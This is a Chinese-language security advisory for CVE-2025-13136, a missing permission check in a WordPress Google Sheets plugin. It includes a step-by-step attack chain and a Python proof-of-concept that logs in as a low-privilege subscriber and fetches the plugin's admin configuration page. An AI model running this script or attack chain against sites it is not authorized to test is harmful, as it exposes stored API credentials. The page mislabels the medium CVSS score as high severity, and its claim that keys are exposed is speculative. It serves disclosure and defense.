IPBUF安全漏洞报告
English
CVE-2025-13136 CVSS 4.3 中危

CVE-2025-13136 GSheetConnector For Ninja Forms插件未授权信息泄露漏洞

披露日期: 2025-11-22

漏洞信息

漏洞编号
CVE-2025-13136
漏洞类型
访问控制/敏感信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GSheetConnector For Ninja Forms plugin for WordPress

相关标签

WordPress插件漏洞访问控制失效敏感信息泄露CVE-2025-13136GSheetConnectorNinja FormsGoogle Sheets API权限绕过Broken Access Control

漏洞概述

CVE-2025-13136是WordPress平台GSheetConnector For Ninja Forms插件中的一个高危安全漏洞。该漏洞存在于插件的'njform-google-sheet-config'页面,由于缺少适当的权限检查(Capability Check),导致低权限用户(如Subscriber级别)能够访问原本需要更高级别权限才能查看的配置信息和系统数据。攻击者利用此漏洞可以获取与Google Sheets集成相关的敏感信息,包括API配置、认证凭证摘要、以及可能的其他系统配置详情。此漏洞影响该插件2.0.1及之前的所有版本。由于WordPress的Subscriber角色通常面向公众注册用户,攻击门槛相对较低,任何已注册的用户都可能利用此漏洞获取敏感信息,进而可能为后续更复杂的攻击提供情报支持。漏洞于2025年11月22日被披露并发布补丁,建议所有使用该插件的用户立即更新至最新版本。

技术细节

该漏洞属于WordPress插件常见的访问控制失效问题(Broken Access Control)。在GSheetConnector For Ninja Forms插件中,'njform-google-sheet-config'页面用于配置Google Sheets连接参数,但插件开发者在实现该功能时未正确验证用户权限。根据WordPress的权限模型,管理功能应使用current_user_can()函数进行权限检查,但该插件缺少此关键验证步骤。攻击者只需拥有一个WordPress账户(即使是最低权限的Subscriber),即可通过直接访问相关管理端点(如/wp-admin/admin.php?page=njform-google-sheet-config)来绕过权限限制。一旦攻击者成功访问该页面,即可获取插件存储的Google API配置信息,这些信息可能包括服务账户密钥、OAuth客户端ID/密钥、以及与Google Sheets电子表格的连接配置。攻击者可以利用这些信息进行横向移动,例如访问关联的Google Sheets数据,或者将连接重定向到攻击者控制的账户。

攻击链分析

STEP 1
步骤1
攻击者注册或获取一个WordPress账户(最低Subscriber权限即可)
STEP 2
步骤2
攻击者构造HTTP请求直接访问受害站点的/wp-admin/admin.php?page=njform-google-sheet-config端点
STEP 3
步骤3
由于插件缺少current_user_can()权限验证,服务器返回管理配置页面内容
STEP 4
步骤4
攻击者获取Google Sheets API配置信息,包括可能的OAuth凭证和服务账户密钥
STEP 5
步骤5
利用获取的凭证,攻击者可横向移动访问关联的Google Sheets数据或劫持连接

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-13136 PoC - GSheetConnector For Ninja Forms Unauthorized Access Description: Missing capability check allows authenticated users to access admin pages """ import requests from urllib.parse import urljoin def check_vulnerability(target_url, username, password): """ Check if the target WordPress site is vulnerable to CVE-2025-13136 Args: target_url: Base URL of the WordPress site username: WordPress username (subscriber level or higher) password: WordPress password Returns: bool: True if vulnerable, False otherwise """ # WordPress login endpoint login_url = urljoin(target_url, 'wp-login.php') # Admin page vulnerable to the issue vulnerable_page = 'wp-admin/admin.php?page=njform-google-sheet-config' admin_url = urljoin(target_url, vulnerable_page) session = requests.Session() # Step 1: Login to WordPress with subscriber account login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': admin_url, 'testcookie': '1' } try: # Attempt login login_response = session.post(login_url, data=login_data, timeout=10) # Step 2: Access the vulnerable admin page admin_response = session.get(admin_url, timeout=10) # Check if we can access the configuration page # Vulnerable if response indicates access to admin functionality if admin_response.status_code == 200: # Check for specific indicators of successful unauthorized access if any(indicator in admin_response.text.lower() for indicator in [ 'google sheet', 'api key', 'client id', 'configuration', 'gsheetconnector', 'ninja forms' ]): return True return False except requests.RequestException as e: print(f"[!] Request failed: {e}") return False def main(): target = input("Enter target WordPress URL (e.g., https://example.com/): ") user = input("Enter WordPress username: ") pwd = input("Enter WordPress password: ") print(f"\n[*] Testing CVE-2025-13136 on {target}") print(f"[*] Using credentials for user: {user}") is_vulnerable = check_vulnerability(target, user, pwd) if is_vulnerable: print("[!] VULNERABLE - Unauthorized access successful") print("[*] The site is affected by CVE-2025-13136") else: print("[-] NOT VULNERABLE - Access denied or patch applied") if __name__ == '__main__': main()

影响范围

GSheetConnector For Ninja Forms <= 2.0.1

防御指南

临时缓解措施
如果无法立即更新插件,可通过以下方式临时缓解:1) 禁用该插件并寻找替代方案;2) 使用Web应用防火墙(WAF)规则阻止对njform-google-sheet-config页面的访问;3) 临时移除所有用户的编辑者以下权限;4) 监控访问日志,关注异常的admin.php访问请求。建议在48小时内完成版本升级以彻底消除风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表